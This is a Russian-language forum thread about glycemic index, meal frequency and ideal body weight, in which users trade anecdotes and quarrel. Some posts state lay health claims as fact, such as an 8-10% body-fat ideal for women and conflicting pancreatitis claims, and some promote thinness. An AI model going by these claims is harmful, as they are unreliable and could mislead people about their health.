Помимо калорийности (то есть пищевой ценности), каждый углеводосодержащий продукт на свете, который человеческий организм в состоянии переварить, обладает еще и гликемическим индексом (ГИ). Интересно, что зачастую высококалорийный продукт может иметь низкий ГИ и наоборот. Между тем, показатель ГИ влияет на процессы похудения и ожирения ничуть не меньше, чем показатель калорийности продукта.

Олеся Старожил МЗР 05.10.2015 13:30

Снижение веса правильное ой как зависит от качества пищи. Не знаю можно ли похудеть на чипсах и шоколаде, но здоровья это точно не принесет! По себе заметила, что если при равной калорийности мой рацион имеет зашкаливающие значения углей, то я не худею, а набираю вес. Так что я бы вряд ли похудела на чипсах. Кроме того, милый медвед, несмотря на то, что вы везде твердите о том, что неважно как часто есть важно количество калорий это не так. Для правильной работы ЖКТ НЕОБХОДИМО дробное питание. не менее 3-х раз. Если сейчас ваш организм мириться с издевательствами в виде одного-двух приемов пищи большими порциями, то это не значит, что он будет делать это и завтра. А завтра вас могут на скорой увести с острым приступом панкреатита, потому как вашей поджелудке, например, надоест такое издевательство. Ну или неожиданно язвочка откроется в желудке. Ему тоже вредны такие обильные редкие вакханалии. А насчет вопроса о ваших регалиях, медвед, мне тоже очень любопытно, что дает вам право считать себя истиной в последней инстанции?

светлана христова 05.10.2015 13:32

высавила отдельный пост о Жоре и как его избегать.

OL 05.10.2015 13:32

med-ved, это все понятно (последний пункт особенно склоняет в пользу отказа от сладостей в основном меню).
Попрыгать после тяжелой еды мне не хочется (а моего мужа вообще валит в сон, если съел какой-то вредятины - но тут скорее всего важна клиническая картина его здоровья в плане ЖКТ, а блог все-таки мой).
Легкий банан (для меня лично сродни поесть зеленый салат) напротив дает насыщение надолго, потому как дольше происходит его приемка, я так понимаю. И налегке делать можно все, что угодно, и лежать не хочется.
При этом, мы не учитываем суммарный эффект:
1) Объем.Ведь съесть стопицот бананов на 600 ккал и один сладкий батончик - калории одни и те же, а вот объемы - простите меня!
2) Жиросжигание (в сантиметрах Широкая улыбка

) при условии одинакового объема порции продуктов высокого и низкого ГИ с высокой и низкой калорийностью отличается значительно, особенно в долгосрочной перспективе.
Эффект повышения аппетита 100% есть, по опыту (по моему опыту личному, узбагойтесь)
И наконец, все-таки выходит, что есть бананы в целях похудения гораздо выгоднее шоколада(-дного батончика) из-за того, что его ГИ ниже (чувство сытости, все дела)?)))

светлана христова 05.10.2015 13:32

ваставила в смысле в отдельную тему.

med-ved 05.10.2015 13:41

OL Lavra написал:
скорее всего важна клиническая картина его здоровья

для здоровья, конечно же, лучше понижать ГИ пищи

Олеся написал:
Для правильной работы ЖКТ НЕОБХОДИМО дробное питание. не менее 3-х раз.

Неверно.
Но никто специально и не пытается есть раз в день, но про панкреатит от этого - это сказки злых врачей: "доктор почему у меня панкреатит - питаешься нерегулярно, сам виноват"

Олеся Старожил МЗР 05.10.2015 14:04

med-ved, вы не ответили о своих регалиях.

med-ved написал:
это сказки злых врачей

я склонна им верить. они 5 лет учатся тому как делать людей здоровыми. А не вам. Уж, простите.

Анастасия 05.10.2015 14:39

med-ved написал:
никто специально и не пытается есть раз в день

Есть раз в день — это правда очень сложно. Это я не знаю как постараться надо! С улыбкой

Даже когда я была максимально приближена к такому режиму и ела только вечером, всё равно было удобнее разбивать ужин на 2 приёма (скажем, в 6 вечера и в 9).

Анастасия 05.10.2015 15:00

OL Lavra написал:
Ведь съесть стопицот бананов на 600 ккал и один сладкий батончик - калории одни и те же

600 ккал — это 2.5 сникерса и 6-7 бананов, вообще-то. И, кстати, по таблицам в интернете ГИ банана (зрелого, не зелёного) 65, а сникерса — 70. Не очень потрясающая разница. А у горького шоколада — вообще 22, даже зелёным бананам такое не снилось.
Разница в калорийности этих продуктов — в основном из-за содержания воды (в бананах) и большого количества жира (в сникерсе). Если сравнить сникерс с сушёными бананами, сравнение наверняка будет в пользу сникерса С улыбкой

Ennija 05.10.2015 15:02

В принципе согласна со всем, кроме

OL Lavra написал:
Стоит привести цифры: 172/55. При росте 172 мой "нормальный" вес колеблется в пределах 62,1 - 54,7 кг. Это совершенно два разных человека. Я весила и так, и так. Ощущения при 62 отвратительные, чувствуешь себя неповоротливой, тяжело носить себя. К

Я тоже весила по разному при таком же росте. Реально в пределах от 49 кило до 75-76. Так вот тяжелее было при 49, чем при 76. Элементарно была нехватка сил. А самое лучшее самочувствие было как раз при 61-62 кило, при тренированном теле и нормальной мышечной массе.
Вы же сама себе противоречите - прочитайте первый пункт и второй. В реальной жизни не видела нормальную женщину с весом 55 и ростом 172 - только безмышечные дряблые тела или выпирающие кости с налетом мышц. Хотя второе конечно храктерно для манекенщиц, но в реальной жизни - кому это надо?

Евгения Мяу 05.10.2015 15:09

Ennija написал:
в реальной жизни - кому это надо?

МНЕ. Второе это именно то зачем я пришла на МЗР. Широкая улыбка

Анастасия 05.10.2015 15:14

Ennija написал:
А самое лучшее самочувствие было как раз при 61-62 кило, при тренированном теле и нормальной мышечной массе.

+1, рост 170, ниже 59 не хочу опускаться ни за что. По ощущениям легче всего при 60кг, но тренер, понаблюдав за мной, вообще сказал что для меня 63 — это оптимум, меньше весить не стоит. Примерно вокруг этих значений и колеблюсь. Сейчас я даже не могу себе представить, как после школы при том же я весила 56, и при этом не была худая.

Ennija 05.10.2015 15:20

Евгения Лыман написал:
в реальной жизни - кому это надо?
МНЕ. Второе это именно то зачем я пришла на МЗР

Вам не сюда - здесь люди здоровьем озабочены, а там где гонятся за анорексией, им в другое место. Я не считаю здоровым пропагандировать нездоровую худобу - я прошла через это сама, прошла с дочкой. Слава богу после 16 лет мозги на место встали и у меня и у нее. Но если Вы лично хотите заиметь проблемы со здоровьем, в том числе и по женской части - это Ваше дело, только вот не надо пропаганды этого на данном сайте.

med-ved 05.10.2015 15:24

Анастасия написал:
но тренер, понаблюдав за мной, вообще сказал что для меня 63 — это оптимум

Вы уверены, что свою внешность стоит отдавать в руки тренера? (если, конечно, вам не выступать в ББ)

Ennija написал:
но в реальной жизни - кому это надо?

Евгения Лыман написал:
МНЕ. Второе это именно то зачем я пришла на МЗР.

у всех цели разные. И моду "наращивать мясо" разделяют не все. Некоторые за моду типа "худышка".

Анастасия 05.10.2015 15:32

med-ved написал:
Вы уверены, что свою внешность стоит отдавать в руки тренера? (если, конечно, вам не выступать в ББ)

Речь в обсуждении же не о внешности, а о самочувствии и ощущениях. Если что, 63 кг я для себя считаю не менее нормальным, чем 60 С улыбкой

Но мои сегодняшние приоритеты (и внешность из них — не главный) сдвигают это значение всё-таки ближе к 60.
Тренер, если что, был по гиревому спорту.

Евгения Мяу 05.10.2015 15:34

Ennija, ой ну о чем вы говорите??? Я всю жизнь была при таком росте и в таком весе, еще и занималась боевыми искусствами плотно. И еле как не в себя. Потом с отьездом в другой город боевые искусства закончились, а пережоры остались. Вот теперь и пытаюсь вернуть то что было.

Евгения Мяу 05.10.2015 15:36

Ennija написал:
только вот не надо пропаганды этого на данном сайте.

А где вы увидели пропаганду? Или вы ее везде видите где люди говорят о конкретном весе 55 кг?

Ennija написал:
Вам не сюда - здесь люди здоровьем озабочены, а там где гонятся за анорексией, им в другое место

Куда мне я решу сама, я же вам не указываю куда вам нужно?

Ennija 05.10.2015 15:38

med-ved написал:
Некоторые за моду типа "худышка".

Вообще то это уже не модно. Сейчас даже перекос пошел уже в другую сторону. В любом случае вес минус 15 см и больше - это урон здоровью. Так же как и ожирение. В данном случае большой разницы не вижу - и то, и то - плохо.

Евгения Мяу 05.10.2015 15:42

Ennija, каждый человек чувствует себя хорошо в определенном весе. Не будьте так категоричны. Я прислушиваюсь в первую очередь к своему телу.

Ennija 05.10.2015 15:48

Евгения Лыман написал:
А где вы увидели пропаганду?

Да мне вообще то до фонаря, простите. Но здесь есть девчонки, которые реально спрашивают совета, какой нормальный вес при их росте, так вот прочитав Ваши и аналогичные посты, вполне могут прийти к неправильным выводам. Вы же вроде взрослая женщина - у Вас ребенок, сами не понимаете?

Евгения Лыман написал:
Я всю жизнь была при таком росте и в таком весе, еще и занималась боевыми искусствами плотно.

Извините - не верю. С девочками дзюдостками и каратистками общалась очень много в свои 14-16 лет - вместе в спорталгеря ездили. И за весом там тренеры ох как следили, так же как за питанием. Так вот если нам, тем кто занимался легкой атлетикой вполне себе позволялось быть не в теле, то уж их тренер из-за стола не выпускал, пока все не съедят, а потом все это в мышцы шло, тренировались они нещадно. Но и весили не как мы дистрофики. Хотя толстыми они уж точно не выглядели.

Сабина Антоненко 05.10.2015 15:53

статья понравилась. спасибо.

Ennija 05.10.2015 15:56

Евгения Лыман написал:
каждый человек чувствует себя хорошо в определенном весе. Не будьте так категоричны.

Да живите как хотите, я согласна с тем, что Вы пытаетесь что-то дополнительно для себя здесь почерпнуть. Просто не пытайтесь доказать, что именно Ваш вес самый правильный. В качестве примера - одна моя знакомая при росте 160 вести под 90 кило, ей 30, и она чувствует, что это ее вес.Ну ей так комфортно. Осуждать ее я не собираюсь, это ее жизнь. Но вот если она придет на этот сайт здорового питания, и начнет говорить, что именно это самый правильный вес, Вы ее тоже поддержите?

Татьяна Жуковская 05.10.2015 15:58

Анастасия, весили 56 кг (это рост минус 14) без худобы, потому что процент жира был больше. У меня есть 2 сестры двоюродные. Одна и другая весят рост - 115, объемы те же, что у меня, а некоторые (бедра) даже больше, чем у меня в весе рост - 112. Прикольно то, что я в весе 55-56 выгляжу стройнее и более подтягуто, чем они в весе 49 и 52 кг.

Евгения Мяу 05.10.2015 16:00

Ennija, ну наш тренер не следил за нами. У меня было не дзюдо, а карате. Да, нас тоже гоняли.

Ennija написал:
девчонки, которые реально спрашивают совета, какой нормальный вес при их росте

Здесь есть калькулятор который при ваших параметрах выдает примерный вес, который будет для вас подходящим. И девочки, которые приходят сюда стройнеть тоже зачастую имеют представление о том, в каком весе им комфортно. И они далеко не дурочки, что бы доводить себя до болезни (онорексия, булемия). А то, что вы на основании негатива полученного в вашей личной истории нападаете на других участников никак вас не оправдывает.

Ennija 05.10.2015 16:01

Евгения Лыман написал:
А где вы увидели пропаганду? Или вы ее везде видите где люди говорят о конкретном весе 55 кг?

Вы вообще о каком росте говорите. Если Вы 165 см и меньше, то конечно для Вас это вес будет нормальным.

Таня 05.10.2015 16:04

Ennija написал:
В любом случае вес минус 15 см и больше - это урон здоровью

Простите... что?

Ennija 05.10.2015 16:06

Таня написал:
В любом случае вес минус 15 см и больше - это урон здоровью
Простите... что?

Извините - рост минус 115 По секрету

Ennija 05.10.2015 16:11

Евгения Лыман написал:
десь есть калькулятор который при ваших параметрах выдает примерный вес, который будет для вас подходящим.

Да ну- и где Вы там нашли при весе 172 - 55 кило? Там как раз и выдается 59-64 в зависимости от возраста.

Ollllchik 05.10.2015 16:13

Большое спасибо за статью. Я для себя открыла что-то новое, о чем-то она заставила задуматься... Спасибо

Анастасия 05.10.2015 17:19

Татьяна Жуковская, да понятно, мне просто удивителен этот факт С улыбкой

Т.е. сейчас я себя похудевшей на 5 кило не представляю.
Кстати, при большей жирности объёмы у меня тогда всё-таки были поменьше, чем сейчас — в шкафу висит выпускной костюм, и он на меня не налезает.

OL 06.10.2015 18:30

Ennija, вообще-то диапазон при таком росте 54,7 - до ..74 (на одном из сайтов) и до 62.1 (!) здесь. Тонкокостный тип. Чтоб ваши споры прекратить. А чего вы, люди добрые, напали на худышек? Да еще на этом сайте? Кому как нравится)

Ирина Лисянская 06.10.2015 18:39

отличнейшая статья.. подписываюсь под каждым словом) особенно согласна с тем, что при дробном питании маленькими порциями в дальнейшем организм просто не может за раз принять большОе количество пищи, иными словами "просто не лезет больше" Подмигиваю

)

OL 06.10.2015 18:47

Анастасия, ну медаль вам за упорство. Я-то пишу о зеленых, потому как ем их. Окей, полезла в вики смотреть на сникерс 514 ккал на 100 грамм. Банан 56 ккал/100 г - незрелый, 89 - зрелый, 117 - перезрелый.
Зачем сушить бананы?))))
Вы ж сникерсы не сушите)) Хихикаю

В пользу сникерса?? ну - каждому свое, кто любит себя, а кто любит сахар.

Аленушка 06.10.2015 18:55

Во многом откровенно согласна с вашими наблюдениями. Но чисто мой жизненный опыт говорит о том что нужно правильно питаться, но если уж очень хочется чего то "вредного", то нужно не объедаться этим а просто насладиться небольшим количеством... И насчет соответствия, все понятно что для здоровья может и хорошо когда все у тебя как в медицине, но вот мой муж например узнав какой вес я себе определила заявил мне: " И на кого ты будешь похожа?...Не...столько и все!"
С этим тоже нужно считаться...но это лично мое мнение...

Анастасия 06.10.2015 18:56

OL Lavra написал:
Зачем сушить бананы?)

Ну вот Вы едите зелёные бананы, а некоторые вот такие С улыбкой

OL Lavra написал:
В пользу сникерса?? ну - каждому свое, кто любит себя, а кто любит сахар.

Так в том-то и дело, что Сникерс от банана отличается не сахаром. Сникерс от банана отличается в первую очередь нутриентным составом и содержанием жира.

OL 06.10.2015 18:59

Ennija, при 49 кг может быть тяжелее, я предположу, из-за недостатка витаминок и питания.
Невысокий вес держать трудно, потому как чтобы балансировать на низких калоражах и хорошо себя чувствовать, надо грамотно выстраивать рацион. При низком калораже нет места "случайным" шоколадкам и внезапным перекусам. Это работа.

А при большем весе такого напряга нет - с тем объемом пищи для поддержания веса 76кг вы получите вероятно больше "заряда энергии", чем при тупом сокращении объема порции для поддержания веса 49 кг.

Еще один повод задуматься. Для поддержания низкого веса калорийность рациона должна быть ниже, а польза такая же или выше. Поэтому мы и здесь, считаем все эти нутриенты.

OL 06.10.2015 19:10

Анастасия, я имею в виду, что несмотря на "пользу" сникерса , его богатый нутриентный состав, он содержит в себе много-много калорий на небольшой объем порции. Я и многие ЗОЖники придерживаются мнения, что лучше все полезное есть, а вредное не есть. Вредным я считаю голый сахар, имеющийся в составе сникерса и ему подобных.
Сахар в покупных десертах, надо сказать, используется больше как суперконсервант, чем продукт, дающий невероятный вкус.

Чтобы скушать пользу сникерса, я беру его невероятный состав из других натуральных продуктов. Да еще имею возможность растянуть сие удовольствие на несколько подходов (конечно и сникерс можно распилить на 10 кусков, но сытости, увы, не будет).

Я сухофрукты не люблю (сушены бананы тоже, и видела я их, уж поверьте))))). Иногда, редко-редко (1-2 раза в год), кушаю финики.

OL 06.10.2015 20:49

Ennija, простите, сразу всех ваших комментариев не оценила))
Разница между худобой и ожирением для вас непринципиальна?
Опять же, вспомним, что жир и мышцы - разные вещи. Весить больше моих 55 и быть стройной, красивой реально более чем, при условии что ваш вес включает развитые мышцы. НО будем честны, таких спортсменок, как Анастасия, по пальцам пересчитать (одной руки).(Зайдите в ее блог, статейка про ЗОЖ снимает все вопросы по поводу ее веса).
Будем последовательны (я писала, что ИМТ - фигня), и прикинем, что лишний жир вредит здоровью, а его недостаток - вещь наиболее редкая. И все худышки (как я например) - не анорексички. Анорексия, вообще-то, болезнь. Опасная. А ваши высказывания про "скелет с налетом мышц" прям-таки профессиональный троллинг - сразу охота фотку выложить, доказать обратное)))
Но сдерживаюсь из последних сил, ибо с моей стороны это было бы хвастовством и провокация лишней порции агрессии (может и зависти) со стороны людей-не-спортсменов-женщин, кому комфортно при росте 160 в 90 кило.

Ennija 13.10.2015 11:30

OL Lavra написал:
Ennija, вообще-то диапазон при таком росте 54,7 - до ..74 (на одном из сайтов)

Извините, долго не отвечала, работы было выше крыши после отпуска. Так вот по поводу нормального веса при 172 - 173 см. Вы откуда 54 вытащили? Я таких рекомендаций не видела. И если не сложно, хоть одну фотку с таким ростом и таким весом в доказательство выложите. Причем не растущего подростка, а женщины лет хотя бы после 20. Ну и понятно - не моделей на подиуме - если их художник в тряпки завернет, там любая вешалка красиво будет выглядеть.
Потому как мои фото в данном весе и росте лишь подтверждают мою правоту - скелет + мышцы. Но и это годилось лишь для девочки - подростка, которая еще растет.

OL Lavra написал:
ибо с моей стороны это было бы хвастовством и провокация лишней порции агрессии (может и зависти) со стороны людей-не-спортсменов-женщин, кому комфортно при росте 160 в 90 кило.

Ну если это ко мне - то не по адресу, во первых зависть - это вообще то не мое. Ну а во - вторых: я уже не молодая дама, с 2 взрослыми детьми, при моем росте 172 вешу 67 кило. Спорт хоть и не профессиональный в настоящее время - это просто норма моей жизни. Так что не сдерживайтесь. Докажите обратное, Может реально я не права. Или Вы сдерживаетесь лишь потому, что нечего предъявить?

OL 27.10.2015 16:24

Ennija написал:
Так вот по поводу нормального веса при 172 - 173 см. Вы откуда 54 вытащили? Я таких рекомендаций не видела

Забавно, но здесь, на этом ресурсе. Будьте внимательны. Я вам даже скриншот прикрепила, не поленилась.

Если спорт - норма жизни для вас, может быть вы действительно привлекательны. Но у меня есть сомнения, так как спортивная женщина для меня - это модель фитнес-бикини. Их вес, по мнению автора статьи на сайте твой тренер, составляет рост минус 112-114. Естественно это очень "примерно", да еще и процент мышечном массы там (которая тяжелее жира) гораздо выше, чем у человека, который не в спорте. Отсюда я делаю несложный логический вывод. Если процент жира у неспортивного человека выше, чем у спортивного, а весят они одинаково, то спортивный выглядит худее и тоньше.
Итак, по вашему росту 172-112=60 кг весит идеальная спортивная женщина фитнес-бикини. Процент жира при этом должен составлять 8-10%.
Скажете, если 55кг - вешалка, то фитнес-бикини - мужик-качок??
О вкусах не спорят)) И я выбираю внешность модели нижнего белья.

Ennija написал:
Причем не растущего подростка, а женщины лет хотя бы после 20. Ну и понятно - не моделей на подиуме - если их художник в тряпки завернет, там любая вешалка красиво будет выглядеть.

Меня вдохновляют модели нижнего белья. А там, как вы понимаете, анорексией и не пахнет. Возьмите да посмотрите на моделей victoria's secret. Там особо тряпок-то и нет. Белье и в африке белье.
А потом интереса ради поищите их параметры. И возраст. Не вижу в них, тоже-людях, чего-то сверхъестественного, позволяющего им быть лучше нас, простолюдин. Правильное питание и спорт. ВСЁ. Старушка Адриана Лима (34 года) мне в пример. Ее инстаграм.
Мне 25, у меня есть ребенок, вешу 55, замужем, нравлюсь мужчинам, доказывать вам свою привлекательность не вижу резона.
НО раз уж вы настаиваете, прошу вас первой (как инициатора) выставить на всеобщее обозрение вашу красоту 172/67 =))))))))

Julia Yazykova 27.10.2015 16:32

OL Lavra написал:
Мы же хотим получить не массу тела, а красоту. Пропорции тела решают.

так и есть!!! я когда прибавляю в весе килограмм 5, никто этого не замечает)))) ну кроме меня... т.к. жирок на мне "выпадает" как первый снег - ровненько по всей поверхности, тоненьким слоем))) не нарушает пропорций и моей спортивной фигуры))) это огромный плюс!!! я благодарна своему организму и папе с мамой за это!)))